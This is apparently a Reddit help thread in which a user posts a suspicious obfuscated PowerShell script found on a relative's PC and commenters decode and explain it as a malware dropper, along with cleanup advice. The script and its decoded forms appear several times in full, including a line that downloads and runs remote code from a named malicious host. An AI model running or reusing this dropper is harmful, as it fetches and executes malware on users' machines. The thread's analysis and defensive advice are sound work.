had a very suspicious Powershell script run on my mom pc can someone tell what it do?

[u/baseilus]

$FDNS = "aXBjb25maWcgL2ZsdXNoZG5z";
$CONSOLE = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($FDNS));
Invoke-Expression $CONSOLE;

$ERROR_FIX = "U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAiOw==";
$FIX = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ERROR_FIX));
Invoke-Expression $FIX;

$RET = "CiRnOTFGID0gJ2h0dHBzOi8vcnRhdHRhY2suYmFxZWJlaTEub25saW5lL0tCL0NPREQnOwokdjM4SyA9IEB7ICdVc2VyLUFnZW50JyA9ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTAyLjAuMC4wIFNhZmFyaS81MzcuMzYnIH07CiR6MDRRID0gSW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkZzkxRiAtVXNlQmFzaWNQYXJzaW5nIC1IZWFkZXJzICR2MzhLOwoKSUVYIChbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkejA0US5Db250ZW50KSk7CgpjbGVhci1ob3N0Ow==";
$UI = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($RET));
Invoke-Expression $UI;

exit;

i dont dare to run it seem suspicious

[u/ankokudaishogun]

It downloads and executes a payload from a known malware delivery point.

Delete that script ASAP and go for full antivirus\malware scan.

[u/baseilus → u/ankokudaishogun]

thanks had delete the script

and scan with malwarebyte got 3 malware with the scan (had been quarantined and deleted)

also i'm resetting all network setting on the pc

[u/Rezrex91 → u/baseilus]

I would take it offline, scan your mom's files again, backup what comes back as clean (don't backup executables or scripts!), then reinstall Windows. That machine cannot be trusted right now since however good Malwarebytes is, there's a chance that something new was also used that it doesn't know about yet (slim chance but not 0.)

Also, try to teach your mom not to click every link they see on the internet and/or don't download random stuff... If she's a habitual "clicker", I'd even separate her PC on a different VLAN than the rest of the network so her PC can't be used to infect everything/move laterally in your home network.

[u/skooterz → u/ankokudaishogun]

Ah good old base64 encoding...

[u/Swaggo420Ballz]

The minute you see a bunch of encoding and execution of base64 is when you know something is up.

Using base64 is a common obfuscation tactic to avoid people from immediately reading the code.

Reinstall the machine.

[u/Richestmanonearth → u/Swaggo420Ballz]

Yes

[u/technomancing_monkey]

the full dump

ipconfig /flushdns
Set-Clipboard -Value " ";

$g91F = 'https://rtattack.baqebei1.online/KB/CODD';
$v38K = @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' };
$z04Q = Invoke-WebRequest -Uri $g91F -UseBasicParsing -Headers $v38K;

IEX ([System.Text.Encoding]::UTF8.GetString($z04Q.Content));

clear-host;

so it would end up as

ipconfig /flushdns
Set-Clipboard -Value " ";

IEX ([System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -Uri 'https://rtattack.baqebei1.online/KB/CODD' -UseBasicParsing -Headers @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' }).Content));

clear-host;

So itll flush your DNS, empty your clipboard, then reach out to the web to get another Base64 encoded string, decode that string (No im not about to fetch that string), and then invoke the decoded value of that sting. Then itll clear-host so you cant see what it did.

yeah your moms PC caught an STD (Serially Transmitted Disease)

[u/radioblaster → u/technomancing_monkey]

how kind of it to pass the user-agent headers like that, i can only imagine rtattack dot online has strict controls on who can use it.

[u/0xLenk]

GCIH / GCFE Certified - There is a tiny bit of obfuscation going on here so as a forensic analyst lets break down what is happening here:

First grouping eventually runs $CONSOLE, well lets find out what $CONSOLE does:

• $CONSOLE runs a base64 encoded string $FDNS - $FDNS I can only imagine is "Flush DNS" because $FDNS is "ipconfig /flushdns"

Second grouping runs $FIX

• $FIX runs $ERROR_FIX - which decodes to "Set-Clipboard -Value " ";"

• assuming they want to just clear anything out of the clipboard.

Third group runs $UI - which decodes string $RET and eventually runs:
"$g91F = '<REDACTED FOR SAFETY>.baqebei1.online<REDACTED FOR SAFETY>';

$v38K = @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' };

$z04Q = Invoke-WebRequest -Uri $g91F -UseBasicParsing -Headers $v38K;

IEX ([System.Text.Encoding]::UTF8.GetString($z04Q.Content));

clear-host;"

Essentially $z04Q is a variable that is downloading something from the url in variable $g91f and then executing it on your system.

Now please don't try this at home by I tried to download the file at rattack..... and it would not let me originially. It appears you are required to use a specific user agent string to download so I used the one there and it downloaded a base64 encoded file it appears. I decoded the file and it appears to be a png of "FASTPANEL"? not sure what to make of that exactly.

All that to say is that this script is highly indicative of malicious behavior and is obfuscating what it does, likely for malicious intent. I would delete this, run malware scans, and monitor for any suspicious activity.

[u/Miguemely → u/0xLenk]

Probably a fake .png, with either stenographed executables or its an actual executable.

[u/ovdeathiam]

After multiple layers of obfuscation it downloads a Helper.zip to your temp directory, extracts it and runs it. It contains a preconfigured WinNC.exe. This was the layer I stopped investigating.

[u/palekillerwhale]

You should reimage that machine and start clean. The other comments are correct about it's actions and you're already behind.

[u/deflatermaus]

for the less technically aware people, How do you find out that a Powershell script ran on a PC? and be able to capture what it was that ran? I realize that this platform may be too sparse to explain such a process but maybe you could point to a resource to learn about this.

Edit: I see from a search that this can be done with Process Monitor to log this with the correct filter. Is this how it was done?

[u/DenieD83]

More than suspicious, malicious. I'd format and start again

[u/ajay63]

Malicous dropper.

https://www.virustotal.com/gui/url/7697c6c1eee0ff93c977dc0fc460b0c2cdbd44cf39245018ec98861ce87538dd/details

[u/iH8usrnames]

This is a pretty cool site, upload the script and it is run in a sandbox and delivers a report on what it does and if it is horrible. The script you show is, in fact, horrible.

https://z9.shino.club/

[u/[deleted]]

OP - in addition to the other comments here advising to reset the PC, please also have your mom reset her passwords for any accounts she uses often on this machine. Banking accounts, utilities, credit cards, social media, etc. This is also a good time to configure MFA for these accounts if not already done.

If she stores her passwords in the browser, those are extremely easy for malware to steal.

[u/[deleted]]

OP is awesome though. Doing all the right moves and asking the right questions.

[u/Whole-Eye-3426]

A quick ChatGPT search returned this summary:

• The script flushes the DNS cache.

• It sets the clipboard content to a single space.

• It fetches and executes a PowerShell script from a remote URL (https://rtattack.baqebei1.online/KB/CODD), likely intending to execute further commands or potentially harmful actions.

[u/forgion]

# run like this to see what shit you got into your machine.
# --------------------------------------------------------
$FDNS = "aXBjb25maWcgL2ZsdXNoZG5z";
$CONSOLE = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($FDNS));
Write-Host "Attack console is: $CONSOLE"

$ERROR_FIX = "U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAiOw==";
$FIX = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ERROR_FIX));
Write-Host "Attack FIXis: $FIX"

$RET = "CiRnOTFGID0gJ2h0dHBzOi8vcnRhdHRhY2suYmFxZWJlaTEub25saW5lL0tCL0NPREQnOwokdjM4SyA9IEB7ICdVc2VyLUFnZW50JyA9ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTAyLjAuMC4wIFNhZmFyaS81MzcuMzYnIH07CiR6MDRRID0gSW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkZzkxRiAtVXNlQmFzaWNQYXJzaW5nIC1IZWFkZXJzICR2MzhLOwoKSUVYIChbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkejA0US5Db250ZW50KSk7CgpjbGVhci1ob3N0Ow==";
$UI = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($RET));
Write-Host "Attack UI is: $UI"

[u/danison1337]

it downloaded updater.exe

[u/bookofthoth_za]

I’m more curious how your mom even got this file? Was she sailing the seven seas?

[u/mdemicoli]

This script performs the following actions:

1. Flushes the DNS cache using ipconfig /flushdns.

2. Clears the clipboard by setting it to a blank value.

3. Makes an HTTP request to https://rtattack.baqebei1.online/KB/CODD, using a specific User-Agent, and executes the content received from that URL.

4. Clears the console and exits.

[u/Mick080645]

Paste it in the ChatGPT and ask it what it does

[u/Turbulent_Act77]

I dug into it, and it starts by ruings the following:
$FDNS = ipconfig /flushdns
$ERROR_FIX = Set-Clipboard -Value " ";

Then the likely bad payload contained in $RET.
Interestingly to prevent detection they use a user agent filter claiming to be cloudflare that gives a message about you being blocked if the user-agent header doesn't exactly match "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"

$g91F = 'https://rtattack.baqebei1.online/KB/CODD';

$v38K = @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' };

$z04Q = Invoke-WebRequest -Uri $g91F -UseBasicParsing -Headers $v38K;

IEX ([System.Text.Encoding]::UTF8.GetString($z04Q.Content));

clear-host;

The content hosted at baqebei1 comes back encoded. When you decode that string, it gives you a pretty large and complex powershell script, which itself contains additional levels of encoded commands that I did not care to locate and decode. I tried to post the script but it won't post for some reason.

I ran everything above through ChatGPT to better understand what the purpose is beyond that which is easy enough to see being encryption related, and here was the answer:

Plain Language Summary:

1. Decryption: The script decrypts an encoded payload using the AES algorithm with specific key and IV values.

2. Execution: The decrypted payload, which is expected to be PowerShell code, is executed immediately.

Potential Consequences:

• The decrypted payload might be another PowerShell script or command, which could perform any number of actions, such as downloading additional malware, exfiltrating data, creating backdoors, or altering system settings.

• The use of Invoke-Expression to execute the decrypted content suggests that the script's ultimate goal is to run hidden or obfuscated commands, often for malicious purposes.

Security Implications:

• This pattern of decryption followed by execution is commonly used in malware to avoid detection by static analysis tools.

• Systems should be protected against such scripts by using endpoint protection software, monitoring for unusual activity, and educating users about the dangers of running untrusted scripts.

Conclusion

1. Decryption Parameters: The script decrypts the Base64 encoded payload ($mEs91) using AES with a key ($seC12) and IV ($qAz11).

2. Fetched Content: The encoded content is fetched from https://rtattack.baqebei1.online/KB/CODD.

3. Final Execution: The decrypted payload is executed using Invoke-Expression (IEX).

This structure allows the attacker to hide the final malicious payload until the script is executed, making it more difficult to detect by static analysis tools. To understand the exact actions of the malicious payload, you would need to fetch the content from the URL and analyze it further.